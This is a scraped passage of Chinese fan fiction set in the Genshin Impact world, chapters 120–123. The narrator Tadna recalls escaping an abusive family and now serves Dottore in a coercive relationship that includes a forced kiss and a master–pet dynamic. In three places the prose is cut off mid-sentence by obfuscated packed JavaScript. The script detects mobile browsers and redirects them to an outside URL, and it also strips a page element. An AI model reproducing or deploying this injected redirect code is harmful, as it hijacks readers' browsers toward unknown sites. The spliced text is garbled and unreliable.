我抓住父亲的手,用力掰开他扯着母亲头发的手指,然后用力拉开。父亲一时不察,被我拉得差点摔倒。 “你这个不孝子,还敢还手?!” 我拦在母亲身前。 过往的近十八年,我从未有一刻,如同此刻一般心中升起如此庞大的勇气,驱动我面对过往人生中最大的阴影。 “我没有主动伤害同学,是那群人在一直霸凌我和那个男生。无论你们心中对我的不满和厌恶到底有多深,我的答案也只会是这一个!” “我再也不想继续被欺负了!” 120.第 120 章 我的母亲是我前半生诸多不幸的造成者。她盲目且懦弱,但我依然愿意听从她的教诲。 我的母亲告诉我: “无论你做什么,只要不让你自己后悔就行。” 我的奋起反抗让他们吃了一惊。或许,谁都不会想到畏缩懦弱如此长久的时间,如我一般的人也会有情绪顷刻爆发的时刻。 他们询问了呛水昏迷好不容易醒来的那个男生,从他的嘴里知道了事情的来龙去脉。 我的嫌疑于是被完全洗清。 而作为罪魁祸首的那帮人,则得到了一份严重警告,被勒令不得再接近我和那位一同被欺负的同学,同时,他们的所作所为也将上报到教令院,作为档案的一部分在他们升学工作的时候作为被参考的一部分。 明明只是询问一遍当事人,只需要稍微等待几个小时便能完全解决的事情。 我不清楚,如果当时的我依然选择了懦弱地接受,那么,背上这笔“欺辱同学”的罪名的人,是否会成为我呢? 真是可笑。 而对于“不分青红皂白地将罪首的身份安置在我的身上”的这件事,无论是那位老师,还是我的父亲,他们全都选择了沉默。 似乎对我道歉这件事成为了不必要的事情。 因为我是“其子”,“其学生”。 连独立的人格也可以不被赋予的存在,被确确实实地认为是可以低一等的存在。 我自然也不会去据理力争要求得到被尊重的感觉。 我已经太累了。这件事情,只要解决了就好了,剩下的…… 剩下的,都可以交给未来的我。 此时此刻,我的内心开始酝酿一个决定。 一个说出来会让父亲觉得蒙羞且不可理喻的决定。 我要脱离这个家庭。 脱离,然后,作为一个独立的个体,作为一个真切的“人”,生活在这个世界上。 大大方方地生活在这个世界上。 我蛰伏着,等待着,唯有在受到教令院的录取决定通知的当晚,我收拾了卧室的一点东西,把东西放在床上,然后出门敲响了母亲的房门。 我同母亲说了我要离开的事情。 我的孕育者,我此处生命的来处,我的母亲,只是温柔地看着我。 她沉吟了片刻,似乎也有在为我的决定而感到惊讶,亦或者是对我的离去稍微感到不舍。 “你是一个懂事的孩子,塔德纳。”母亲拥抱着我,她略显干燥的温热手掌轻抚着我的背,如同安抚刚出生的婴孩。 “但我们,并不是那么合格的父母。我知道,你的心里对我们有些怨怼,我也很明白,它们的出现并非毫无道理。作为一个母亲,我更希望你能够快乐地生活。而现在,我明白,幼鸟长大了,该离巢了。” 母亲的态度超出了我的预料。 我必须要承认,从做下离开的决定到今天的实施,我确实犹豫徘徊过许久。 我不喜欢冷漠功利的父亲,有时也会对盲目听从父亲的话、没有主见的母亲而感到厌烦,但我同样不得不承认,如今驻足于此回望自己过去的人生,我的母亲依然是我人生中为数不多温情的提供者。 我很感激那些,让我灰暗的人生能够稍微多点色彩的记忆。 我不知道对于一位“母亲”而言,看着孩子离巢而去时会怀有怎样的心情,但我从母亲忍耐的表情中窥得一点悲伤。 悲伤…… 母亲拍拍我。她察觉出我的犹疑,察觉出我同样低落的心情。 “走吧,塔德纳。你是一个很好的孩子,无论你做什么,只要不让你自己后悔就行。我会永远在你的身后的,要是哪一天想家了,或是累了,我也永远等着你。” 母亲确实做到了她所说的。 她不会过多地干预我的生活,会帮我隐瞒父亲那边,称我是因为“参加了某个研究计划不得不离家”才会多日不曾出现,就算是这谎言不知何日被戳破的时候,也悄然遮盖了下去。 我搬到了新的街道,用假期做零工的一笔钱租下了一间不大但五脏俱全的房子。而我的邻居,阿玛尔太太,一位心地善良的好心人,也对我颇为照顾。 我也是在很久之后才偶然了解到,阿玛尔太太与我母亲年轻时曾相识的事情。 搬走后自己一个人独自居住的生活并算不上是完美无缺,但没有那样无时不刻不压迫着我的,来自父母的压力,以及僵硬的家庭氛围的高压,我也总算寻找到了一点可以喘息的时间。 一个人做饭,一个人打扫整个房间,一个人采购添置家具,一个人坐在窗前,看雨敲打玻璃窗,雨水混流而下。 尽管偶尔还是避免不了会感觉到一点孤单,但这样的生活已经足够令我感到满意了。 我会平庸地从教令院毕业,依靠文凭找到一份工作。在须弥,即使不去当学者,我也完全能找到其他的工作然后安然地度过这一生。 理应如此。原本该是如此。 如果,我没有因为愁苦于毕业论文的选题而报名参加萨娜玛组织领导的研究小队的话。 贤者萨娜玛,以其严厉的性格而十分有名,不过,因为纪律严谨,研究调查的进度和学生的安全也能够得到保障,加上萨娜玛无论是带队能力还是学识在教令院都算得上是佼佼者,学生们也对她很是尊敬。 当然,除了一个人。 赞迪克。 这是我自未进入教令院时的那次后第二次离这个人如此之近。但关于他的传闻和讨论,可从未停息过。特别是在我进入教令院后。 天赋异禀,能力也是一等一的出众,只用一年的时间就修完了好几个学派的知识,之后被有名的学者看重。而他的研究及著作,更是令人眼花缭乱。 有时候不得不让人发出疑问:同样作为“人”出世在这个世界上,为何有人的才华能够耀眼至如此地步呢? 连让人直视的勇气都不敢拥有。 虽然,关于赞迪克的争论,他那“人体改造”的言论,也同样被人诟病。 不过,只要没有付出实际的行动,真的去搞什么“人类改造”的荒谬东西,教令院也不会对这位才华熠熠的天才真的做什么的。 真是令人歆羡啊。 天才的待遇和世界。 我在决定参加这次调查小队的时候并不知道随行的人还有赞迪克。毕竟这位见习陀裟多,据说马上就会转正,应该不至于会有这样的闲心参加一个游学者居多的一次考察。 不过,也可能是因为这次要前往的地方,降魔诸山,拥有着一个奇怪且庞大的机械体,或许,里面隐藏着一些连天才也会感兴趣的东西呢? 这样的事情,便不是我这种连毕业论文都在苦苦挣扎的普通学生能想得到的了。 在考察队聚集的首日,我在人群中看到了赞迪克。 他实在很显眼。 薄荷绿色的微卷发,罕见的、如同血一般的红色眼睛,很有压迫感。他似乎不喜欢人多的地方,所以总是一副冷冰冰的,拒绝交谈的样子。 他确实如同索赫蕾所言,英俊而死板,很难让人生出想要亲近的想法。 索赫蕾的想法倒很不同,她对赞迪克很感兴趣,甚至做出了即使违背贤者萨娜玛的命令也要陪同赞迪克一起离队的荒唐决定。 她甚至拉上了我,希望我,这样一个在教令院如同透明人,几乎毫无存在感的家伙帮帮她向萨娜玛隐瞒这件事。 我当然不会拒绝,也无法拒绝。 索赫蕾是学姐,在教令院也属于很受欢迎的那类,如果在她那里留下了不好的印象,我可能会遇到一些麻烦。无论是人际关系还是名声。有的时候,只要小小的几句话,就能断绝我上迎承合的路。 哎,如果能像赞迪克那样,即使是有名的学者,只要学术论点相冲也能随时毫不留情地驳斥,不会遭遇到任何多余的麻烦就好了。 而答应索赫蕾的另一个理由,则是我对赞迪克其实有点发怵。 尽管赞迪克的年龄比我要小很多,但面对赞迪克,我总会感到一种不敢接近的恐惧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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历经了在窒息的家庭里挣扎的十八年,即使离家也只是浑浑噩噩地耗费时光,空长年岁,又见证了索赫蕾前辈的死亡,不得不在死亡的威胁下丢弃所有尊严。 不…… 或许,我的所谓尊严,早已经完全不剩了。 我又在,徒劳地坚持什么呢? 徒劳地坚持求活又对我有什么意义呢? 很多时候,在赞迪克的家里,胆战心惊地在客卧简陋的床上和衣休息的时候,在陪同赞迪克出门,两人一同对坐我同火堆发呆的时候,在监牢和活力之家的床上被赞迪克不由分说地抱在怀里的时候,我会思考这些问题。 它们困扰了我太久,太久,从意识始一明清的时候便纠缠着我。 直到我跟随赞迪克来到至冬,因为意外获得了堪称“不死”的能量。 诡异的能力,不容选择地将我的生命定格在那一年。 我确实还活着,但若说“早已死去”也并无不可。 我依然无法挣脱赞迪克,不,此刻,既已至此,对他的称呼或许也该换为“多托雷”。 多托雷,他开始对我显露出连我都觉得可笑和毫无道理的欲望和情绪。 为什么呢? 因为我是唯一一个陪同他走完了须弥到至冬的这段时期的人吗?但这样也毫无道理,放在多托雷身上更显得可笑。 我是多么无能,多么懦弱,多么卑劣的一个人。 卑劣到,即使在意识到多托雷对我的欲望,心里不可避免地觉得荒谬,但同时,恐惧之余,竟然也夹杂着一点雀跃。 雀跃…… 该如此形容吗? 我不知道。 但我确实对多托雷对我的欲望,对我所做的一切事情没有任何的反感。 我柔顺地趋从,毫无抵抗地跪下,在多托雷的脚边露出最脆弱的部分,也同时利用着多托雷对我涌生的那点纵容扩张着自己的欲望。 我无法像否定我的家庭一样否定多托雷对我的意义。 不知道什么时候,现实变成了这个样子。 121.第 121 章 破碎漂白的记忆之卷再一次恢复了它原本的色彩。 我如今无法确认这件事对我而言是否是一件好事,正如我从未想到,再回忆一遍自己的过往,于我而言最难释怀的反而是关于我的家庭,我的父母的那一部分。 从昏迷中挣脱出来时,毫无意外地发现自己身处于卧室的床上。意识回笼的一瞬间,我感受到熟悉的气息在距离我很近的地方。 是多托雷。 心脏沉稳地跳动着。 我睁开眼,看见同在床上,半倚着床头柜的多托雷,一幅快要休息的模样,连面具也摘下来了,此刻正在惯例确认明日的实验安排。 大概是实验安排计划书吧。看厚度很像,当然多托雷有时也会选择看一些专业的书籍。 若是外面那些总是听闻多托雷恶名的人能看到现在这样闲适平静的多托雷,恐怕会震惊地连眼珠子都掉下来吧。 至少是【女士】和斯卡拉姆奇两位大人。 “醒了?” 莫名感到一点尴尬的氛围。 我保持着直视天花板的姿势。 “嗯……” “身体有哪里感到不适吗?” “好像……没有……” 多托雷放下手中的资料,侧头看着我。 “好像?”这位严谨的天才发出疑问。 很显然在他长达五百年的学术研究生涯里,从没有遇到过如此模棱两可到足以让人怒斥回去重修提瓦特语的场合。即便是他那些让人多看一眼就会感到窒息的愚蠢的实验室的手下们。 他弯腰侧身,伸出手掌搭在我的额头上。没有戴手套,虽然有着人类的皮肤质感,但就温度而言未免也太冰凉了。 我于是与那双猩红色的、专注的眼睛不得不对上,心中生出一点逃窜的想法。 “老实一点,不要想那些有的没的。” 我:“……” 完全被看穿了。 多托雷感受着。他很认真,或许是在感受我的身体状况,也或许是其他的。我并不是这方面的专业人士,自然也看不出来个所以然。 但我感到一点过热,或许是因为盖着的被子,也可能是因为多托雷附身靠近的动作挤压了我身前的空间。 “身体状况正常,思维……虽然就你醒来时的表现来看应该存在一点混乱,但幸运的是,我并没发现什么问题。当然,如果是因为一些来历存疑的东西导致的隐性的问题,可能还需要更进一步的专业检查。” 来历存疑的东西…… 这家伙又开始记仇了。 但此刻,其实横亘于我和多托雷之间的问题并不在此。不过,在思考那个棘手的、难以解决的问题之前,我还有另一件事情需要询问。 “主人,”我摸了摸不知何时空荡荡的耳垂,“我的耳坠好像不见了。” “真高兴你还能记起它的存在。”多托雷短促地笑了一声。 “之前的那一只,因为被Theta切片动了手脚,基本已经能算是彻底报废了。我做了新的,和你的袋子放在老地方。” “……” 竟然不是多托雷自己动手给我戴上,而且这种说法,是我自己选择戴或者不戴的意思吗? 我的思绪稍微有点乱,混合着刚刚恢复的记忆里那些鲜明的属于过去的脸,像是完全打结的毛线一样,越理越乱。 “你在想什么?”多托雷问我。 我不自在地把被子往上拉了拉。脑海里不断回现的赞迪克的脸一直在扰乱我的心弦。 “没什么。可能只是有点累了。” 多托雷呵笑了一声:“你昏迷了四十九个小时。”他意有所指。 我:“……” 昏迷四十九个小时又不是睡了四十九个小时,而且,一般来讲,不都是会越睡越困吗? “算了。”多托雷似乎叹了一声。他直起身:“【女士】来我这找过你,想去的话就去吧。现在,还有几个小时才天亮,累的话就睡一会儿吧。” 他说着,正伸长手臂去拉床头的灯。 “可是,现在好像还没到您平时的休息时间,您可以不用考虑我的……” 灯啪地一下熄灭了。 房间突然陷入完全的黑暗,一丝光也没有。 身侧的床铺往下陷了一点,我感受到多托雷躺下来,他靠近我,手臂自然而然地搭过我的腰间揽过去一点。 “没有什么休息时间,我本来就不需要休息。睡吧。” “……” 属于多托雷的气息包裹上来。 我感受到一点困意,记忆漂游到遥远的过去,竟然莫名其妙地想起在须弥被羁押时被彼时的赞迪克强制着拥入怀里的场景。 真是……疯了。 按照正常人的思维来讲,恢复那些被胁迫、被惩罚的记忆后不是应该产生的是害怕和远离的想法吗?机械师那家伙大概可能是正确的,我估计也被生活磋磨成一个精神变态了。 不过,多托雷应该也不会允许我对他产生类似“远离”的想法吧,我现在这样莫名其妙的状态说不定还好一点。说起来,多托雷好像都没有提到关于我记忆的事情,他到底是什么想法呢…… 怀揣着这样的思索,我的意识逐渐在多托雷的怀中陷入混沌。 在快要完全陷入黑暗的时候,我还是忍不住开口。 “主人……” “嗯?” 好想知道多托雷到底是什么想法啊……但是直接问出来也太尴尬了吧,而且,如果多托雷其实是不高兴的该怎么办?我挑明之后要怎么应对? 这些顾虑纠结着我。 “……您……我,我可以请假吗?”最终还是放弃了。 多托雷:“?”他沉默了一会儿。 “可以。” …… “所以,你是说,你因为不知道该如何面对【博士】,所以直接问【博士】能不能罢工,结果【博士】竟然还同意了?!这可真是难得一见的戏目,哈哈,我是说,至少在【博士】身上是那样。” 在我的面前,【女士】一手拿着酒杯,一手捂着肚子笑起来。她看起来几乎要连遮挡半脸的面具都要给笑掉了。 我局促地坐在椅子上,一时间有些坐立不安。 “【女士】大人……” “抱歉,塔德纳,我并不是在笑话你们中的某个人,当然,就算是有,那个人也绝不可能是你,这一点,我能够保证。” “您还真是……直言不讳。” “说实话,塔德纳,我知道【博士】对你与其他人比很不一样,但没想到那个不近人情的可恶家伙竟然在你面前显得如此的……”【女士】思索着,似乎有无数个词语在一瞬间划过【女士】的大脑。 【女士】试图寻找合适的词汇形容,但她失败了。 【女士】颇为感叹地将酒杯放在桌子上:“我原本还担心你在【博士】那里出了什么意外才好久没消息,但现在看来是我多虑了。说起来,你的耳坠呢?” 她指了指自己的左耳的方向:“就是那个,和【博士】一样的那只。说起来,我很早就想说了,到底有哪个正常人上司会给自己的副官戴一模一样的耳坠,而且还是一左一右的那种?虽然【博士】的思维本来也无法用常人来衡量就是了。” 我下意识地摸了摸自己空荡的左耳,那里原先存在的重量显眼的耳坠早已消失,就连耳洞都完全愈合,一丝一毫曾经存在的迹象都没有了。 说起来,多托雷到底是怎么把那玩意儿取下来的?不会是硬扯下来的吧…… 我为自己心里突兀出现的猜测感到了一点幻痛。 “真不知道您这话到底是在贬损主人还是我。”我有些无奈,“因为之前那个坏了,需要换一个新的。新的那只主人交给了我,但是,我还没决定要不要戴。” 【女士】紧紧盯着我看了一段时间。 “【博士】竟然还会尊重别人的意愿?”【女士】无比惊奇,“我以为那家伙从来都只会强人所难。” 我:“……” 我:“?” 竟然莫名吐槽到了点上吗?! 不对。 我:“现在是应该吐槽这点的时候吗……”我感到一点无力。 “好吧,看起来你最近没什么开玩笑的想法,真是严肃啊,塔德纳副官。” “……” “好了好了,不逗你了。”【女士】笑道,“如此,就让我听听你的烦恼吧,是什么原因让最招人喜欢的塔德纳如此烦恼是否要戴上新的耳坠呢?” “【女士】大人您……”我因为这奇怪的称呼甚至感到了一点僵硬。 总感觉【女士】从成功夺取神之心从蒙德回来后就变得很兴奋。 我叹了口气,放弃了“纠正【女士】的说辞”这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【女士】在旁边笑起来:“哈哈,桑多涅,可别再为难塔德纳了,塔德纳如今正躲着多托雷呢。愚人众的副官什么时候有‘假期’这种东西了?执行官都得趁着出任务才能忙里偷闲。” 【木偶】很疑惑:“可是之前也有几次,我找【博士】的时候,塔德纳也实在休假中吧。原来愚人众的副官是没有假期的吗?” “那你有放过假吗?”【女士】灵魂拷问。 【木偶】愣了一下:“好像确实没有过。” “这不就对了。”【女士】摊摊手,有些揶揄:“能让【博士】如此特殊对待的,也只有塔德纳了,【博士】实验室的那些人之前还发生过工作压力太大要辞职的情况吧?我记得。” “【女士】大人……您还是不要再打趣我了。” 我虚弱地挤出一点笑,之前那点浮现的纠结反而完全消散了。 我看向【木偶】:“我会转告主人您的事情的,【木偶】大人。请问您还有其他的事情需要我转告主人的吗?” “没有了。我的时间很紧张,研究所那边还有一大堆事情等着我处理。我先走了。” 【木偶】看起来并没有过多停留的打算,匆忙地告辞后便带着她身边的大机械快离开了。 不过,真是意外,竟然能够在研究所之外的地方看到这位大人,【木偶】大人一向是不怎么外出示人的。 一心扎根于机械研究的怪人。 这是别人对【木偶】的评价,从某种程度上来说,和多托雷的名声也算是不相上下了。 我估量着时间,才发现自己已在此处消磨了大半天的时间,于是便也打算告别。 “时间不早了,【女士】大人,如果没有其他事情的话,那我就先走了。” 现在回去,应该刚好能碰上多托雷,正可以把【木偶】的事情告诉他。 “你随意就好。既然看到你现在安然无恙,我自然也没有其他的事情了。哦,对了,还有件事,”【女士】像是突然想起了什么,一手敲着桌面,一边问我:“我之后要去稻妻回收雷神之心,你要一起去吗?” “啊?我吗?回收神之心……这种任务,我也能一起去吗?” “当然不是要你一起陪我完成任务。”【女士】有些哭笑不得,“只是,你现在应该也不太想呆在至冬吧?既然如此,不如和我一起去稻妻,当作一次旅行,转换一下心情也可以。” 我有些为难:“主人他应该……不会同意我单独离开至冬吧……” “怕什么?他还能杀了你不成?” 【女士】理所当然地如此道:“要是他不同意……不,他怎么可能会不同意,【博士】都多少次违背规定带你参加执行官会议了?你信我,他绝对不会拒绝你的要求的。” 我:“……” 真的假的?! 122.第 122 章 在下定决心要从多托雷那里获得前往稻妻的许可之后,我在心里作了一番前思后想的、充足的准备。 毫无疑问,众所周知,多托雷是一个绝不会考虑其他人看法、一意孤行的傲慢自大的家伙,想要让他同意其他人,特别是下属的请求,是完全不可能实现的天方夜谭。 所以我一般习惯先斩后奏。 自然,这样的行为也会招致一些“报复”的后果就是了。 天才都是有常人难以接受的怪癖的,更何况是这样一位怪异的天才。 在见到多托雷之前,我必须要现在脑海里组织好进门后该如何的行为举止,应该说些什么,示弱和表达忠诚会让多托雷的心情稍微好一点吗?不过,多托雷也并不是那种会被心情影响决策结果的人吧。 但也要考虑多托雷如今对我的态度。 或者,付出一些别的“代价”?说起来,从蒙德的计划开始一直到现在,多托雷好像都没有和我再做过那种事。改造之后再很难被称之为“人”的多托雷也不会再被“人”的欲望和情绪左右。 对多托雷而言,那或许就是他想要的吧。 多托雷并不会拒绝我的示好,也更喜欢我弱势一点的姿态,也许我可以先这样……然后再那样…… 我思考着推开门。房子灯火通明,但一楼并没有人。 说起来,我今天是不是忘记了什么事来着?总感觉是很重要的事情,但却又偏偏想不起来,而且是和房子有关系的事。 正这样想着,从楼梯上走下来的清洁人员让我愣了一下。 看到我,那个清洁人员也愣住了,但很快反应过来向我郑重行礼。 “副官大人……没想到您会突然回来,未能提前迎接实在是在下的失礼。” “不用。”我扶了扶额,总算想起来自己忘记什么了,“今天确实应该是清洁日,是我忘记了。不过,我记得我没有安排人来,你们是?” 清洁人员犹疑地回道:“是【博士】大人的命令。我们也正疑惑呢,平时这种事都是您对接安排的,今日却是【博士】大人亲自……”他后怕地看了一眼二楼的位置,似乎是怕自己的言语被提及的大人物误会。 “还以为是大人对我们不满……不是就好,不是就好。” 看来多托雷亲自安排清洁这件事确实让这些无辜的打工人感受到了极大的不安。 我露出点笑容安抚:“主人自然也是信任各位的能力的,我们都是为主人办事,只需要完成自己的分内之事就好。” 我从储物袋里拿出一袋摩拉放进对方的手中,沉甸甸的重量把那只手都压得下沉了些。 “说起来也是我的工作疏忽,还要多靠了你带人来替我收了这摊子。一点小小的谢礼,不多,工作结束后可以带着你的人去酒馆放松一下。” 我看见那人的眼睛唰一下亮了些,他似乎用了很大力气才没有去掂量那袋分量不轻的摩拉,双手包住向下压到身侧,那见到我后就一直轻弯显示尊敬的腰杆也更低了点。 “副官大人您也太客气了,这本来就是在下等应该做的事。您有什么需要以后直接告诉在下,在下虽然人微言轻,但能为副官大人您做事,就算是上刀山下火海那也是值的。” 万分谄媚。 我保持笑容不变:“我可没有那么危险的事要交给各位,大家都为主人做事便都是同僚,无需对我如此恭敬,我也只是和诸位一样的普通人而已。” 那人似乎还想说些什么,我装作很忙的样子看了一圈四周。 “我还有些事情要向主人汇报,恐怕不能在此耽误了,收拾完后按照平时的样子就好。大概还需要多久时间结束?” “副官大人,再有半个小时就可以结束了。” “好。”我点了点头,“那你们先忙吧,我在这里恐还给你添乱了。”我适时地轻笑一声。 这位与我接触过多次,由专业的后勤服务部门专设岗位来替执行官解决类似私宅清理工作的小队负责人似乎也在我刻意营造的轻松的氛围中变得不再那么紧绷。 “您请忙就好。说起来,我们部门的人都削尖了脑袋想替您做事呢,副官大人总是这么亲近体善,每次只要有您的单子就会引起一阵疯抢呢。” 我感到有点好笑,在一堆被服务的执行官老爷中因为脾气好被下面的人喜欢什么的,倒让我想起那些更外围的人员,因为听闻过多托雷的恶名,也知晓我是多托雷手下的鹰犬,将我归为同类而害怕鄙夷的人。 此时彼时,又有何不同呢? 最后微微点头致意后,我便不再逗留,只是灵巧地上了二楼。 在二楼的走廊,我看到许多低头打扫清洁的人,他们看到我,都很惊喜且恭敬地行礼。 不知道为什么,总从这群人的眼中看到一点“如释重负”的情感。 “副官大人,晚上好。” “副官大人。” 一声接着一声被压低的问候,我保持笑容和各自点头的动作,从容地来到房门前举起右手侧身敲了敲门,没等里面的回音便推开门迅速进入。 真是糟糕。 关上门的时候我才稍狼狈地松了口气。 我平时会刻意把清洁的时间安排在白天我和多托雷都不在的时候,这样在不相关的人在家里的时候找多托雷谈一些私密的事情,总感觉有些奇怪。 或许我应该等那些人结束离开后再实施我的计划。 我后知后觉地意识过来,但现在已经没有容我后退的余地了。 内里的浴室有着明显的水声,很显然只可能是多托雷在里面,而刚才我的敲门声多托雷肯定也已经听到了,也知道进来的是我。 我有些丧气地坐到床边。心里一边烦扰自己之前想的面对多托雷的时候要怎么合适地吐露自己的请求的计划,一边纠结自己到底改不改做这件事。 多托雷怎么可能会听我的话?【女士】大人说不定其实只是为了宽慰我才说出那些话来开玩笑的,说不定,她在同【木偶】大人开玩笑呢? 正胡思乱想间,我听到“咔嗒”的一声,我下意识扭头,看到多托雷从浴室走出来。 他的样子实在随意,披搭着一件浴袍,但胸口却没有围紧,大片的皮肤便袒露出来,潮湿的头发被任意地用手抚上去,露出那双存在感极强的猩红色的双眼。 那双眼睛朝我的方向压过来。 我有些紧张地转回自己的头,连同自己的眼神也收拾好。 似乎有人轻笑了一声。 多托雷很轻的脚步声几乎要淹没在柔软的毛毯上。 我听到多托雷放轻的声音唤我。 “过来,塔德纳。” 我抬头,看到多托雷站在离门稍近的方向,冲我招了招手。 随意地像是在呼唤自己的宠物一样。 我沉默地站起来,走过去,被多托雷伸手钳着下巴压到门上的时候,脑海里原本构思好的对话成了泡沫顷刻间消散。 后背的骨头搁在门板上发出一声闷响,我惊了一下,差点要动手挣脱。 多托雷用了点力:“别动,我只是检查一下。” 于是我安静下来,任由多托雷掰着我的脸左看右看不知道在检查什么,似乎是这样觉得看不出来什么,多托雷突然一下子用力让我仰头张开嘴,我吓得一下子抓紧多托雷的手臂,脚后跟踢在门上发出巨响。 “呜!” “嘘。”多托雷压近我,“别这么心焦,塔德纳,外面还有人呢,你应该不会想在这么多人在的时候被发现在干什么吧?” 那双猩红色的眼睛含着恶趣味的笑意。 我咬了咬唇。 这家伙就是故意的! 我意识到这点。但多托雷“突然犯病”也很正常,我也实在没有拒绝的权利,只能默默承受。 单看多托雷现在对我这样的态度,仿似又好像蒙德的事情完全没发生过了。这家伙,是想要把那些事情糊弄过去吗?明明还有记忆的那件事,多托雷是不准备理会了吗? 我有些拿捏不准,但现在对我而言,最明确的选择就是听由多托雷对我的动作。无论是戏弄也好,还是其他。 “身体状态很健康,至于其他,”多托雷观察着我,“精神波动略微存在变化,看你的表情,我是否可以认为是你现在正处于‘想要逃离这里’的状态?但你似乎又有什么事情与我有关,说吧。” 钳住我下巴的手准备放开了,被完全看透的感觉让我既熟悉又悚然。 多托雷正等待着我的回答。 我努力地想着,但之前路上想到的那些应对的方法现在竟然一个都想不起来了,我甚至产生了一种身后有人存在的感觉,这让我如杯弓蛇影般紧张起来。 我试图请求。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569963|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “主人,能不能先换一个地方,门后面……” 唇瓣被用手指紧紧压住,后面的声音无法再被发出来。想要躲开也无处可躲,多托雷几乎完全把我夹在门和他的中间,连从多托雷身体上散发出来的沐浴过后的热气我都能感受到。 又热又潮湿。 我感到有点呼吸困难。 多托雷看着我,似乎不明白我为什么突然之间声音戛然而止。 即使正在用手指蹂躏我的唇的人正是他。 “门后面,如何?” 他压近我。 我不由得缓了呼吸。 随着多托雷更加贴近,那没有被浴袍遮掩的大片肌肤占据了我的眼睛。我的眼睛无所适从。 “等等等等,主人,要不然您先退后一点……呃,或者我们换个姿势……” “坦诚一点,塔德纳,你现在不是也一副很想要的表情吗?” 多托雷伸手压着我的后颈咬上我的唇,舌头灵活地搅进去。 “呜……” 深入的接触,没有多少活人的温度,无论是交缠的唇舌还是把我揉进的胸。但我感觉有点喘不过来了,断绝了多日的再次深入让我的大脑迷乱起来,甚至勾引起我内心深处的冲动涌出。 我抓着多托雷的浴袍边缘,那点衣料在我的手里随着拉扯变得摇摇欲坠。 在濒临窒息的掠夺之中,我也开始主动地迎合上去,我听到意乱情迷的水声,还有我自己短促的喘息声。 多托雷主导着我的呼吸,而他自然也不会留给我闲余的空挡。或者说,连呼吸换气的需求也不会被照顾到。 多托雷便是这样一个粗暴的专制者。 在我快要喘不过气的时候,多托雷才大发慈悲地放开了我。他揉捏着我的后颈,另一只手揽着我的腰将我钉在门上。 “呼吸,塔德纳。” 脸被轻轻拍了拍。 “明明都这么久了却还不会在接吻的时候换气,即使是作为宠物而言也显得有些过于愚笨了。嘶……” 我抓着多托雷的衣服,一口咬在在刚才的过程中被拽得半.裸.露出来的多托雷的肩膀上。我用尽了自己全部的力气,以至于能够感受到自己的牙尖刺破了被咬住的皮肉陷入进去。 我不知道自己究竟是怀揣着怎样的情感和想法才做出了“咬多托雷”这种犯上又无比幼稚的举动,根本不会对多托雷造成任何实质性伤害的无用之举,多托雷也根本不会感受到疼痛,那一声冷嘶也不过是多托雷应景的逗弄而已。 但我还是这样做了,甚至在浴袍被完全拽下去后双臂搂住多托雷的脖子好让自己能够咬得更深。 等到我终于咬累了才决定放开多托雷,而被我咬住的地方能够看到很明显的深深的牙印,泛着紫,已经被咬得陷进去了,只是因为多托雷身体的特殊性才没有鲜血淋漓。 多托雷笑着把手指塞进我嘴里抵着那两颗尖牙。 “想要报复的话,仅仅是这种程度可远远不够。至少,也要有活力之家的那一刀那种程度吧。” 我的心中生出一点不知源头的怒火,驱使着我用力咬住嘴里的手指。 多托雷没有抵抗,也没有抽出手指。 “你在生气?”他用带着点惊讶的声音道,“竟然只是‘生气’吗?现在,拥有所有记忆,拥有那些害怕我,胁迫于我的记忆后,你对我所产生的唯一的不同的情绪竟然只是这么一点‘愤怒’吗?你的惊惧,你的愤怒,甚至于,你或许该对我产生的怨恨和杀意。” 多托雷低声笑起来,我从他的笑声里窥见一点兴奋,或是期待? “塔德纳,该到坦诚的时候了。究竟是怨恨,恐惧,还是恨不得手刃而快之,无论如何,我已经完全做好了准备……” 我松开嘴里的手指。 多托雷:“?” “即使是从相同的位置贯穿,您现在也完全不会感受到疼痛了吧。” 我紧盯着多托雷的胸口。 这个家伙不知道是出于什么样的恶趣味,即使是改造后的躯体上也依然留着那一刀疤痕。 “这是自然。”多托雷弯唇,“既然你问出了这样的问题,是否可以理解为你其实还是想……等等,你准备往哪里咬?!” …… 想让这种脑子不太正常的自大狂听进去人话总需要一点特立独行的方法。 123.第 123 章 如果你想要找全至冬最特立独行,名声最恶,行踪最神秘的愚人众执行官第二席——【博士】大人办事的话,你就得去找这位大人身边的副官塔德纳。 这是全至冬都知道的事儿。 副官塔德纳,这位背负着助纣为虐恶名,却又在部分愚人众之间名声颇佳的大人物,一位名声与形象矛盾的大人物,他与那位传说中的【博士】大人的趣闻,总会在某些时间十分风靡。 形影不离的副官,至亲至密的副官,地位特殊的副官。所能想到的所有形容词都能够套在这位副官和他所侍奉的主人【博士】身上,但又似乎总不是那样贴切。 普通人站的太远,自然看不清楚其中的关窍,但同作为执行官的那些大人,对自己奇怪的同僚,以及奇怪同僚的奇怪副官,已然十分习惯这两人之间扭曲的关系。 【博士】那个疯狂到要用活人作为实验材料的恶人,竟然会被一个“普通人”掣肘住。 虽然难以想象,但执行官们不得不承认,有塔德纳在,一些任务和交接事项往往能事半功倍。 至于塔德纳不在的时候? 执行官们拒绝回想起那种事倍功半的日子。 【博士】多托雷,从须弥被流放的学者,这样的身份不光彩,自然也不会被大肆宣扬,只有偶尔一位执行官从多托雷处吃了瘪,无法释怀只能从阴暗的地方拖出这点暗戳戳贬低一遍那个眼高于顶,傲慢的不行的执行官。 傲慢,自大,疯狂。 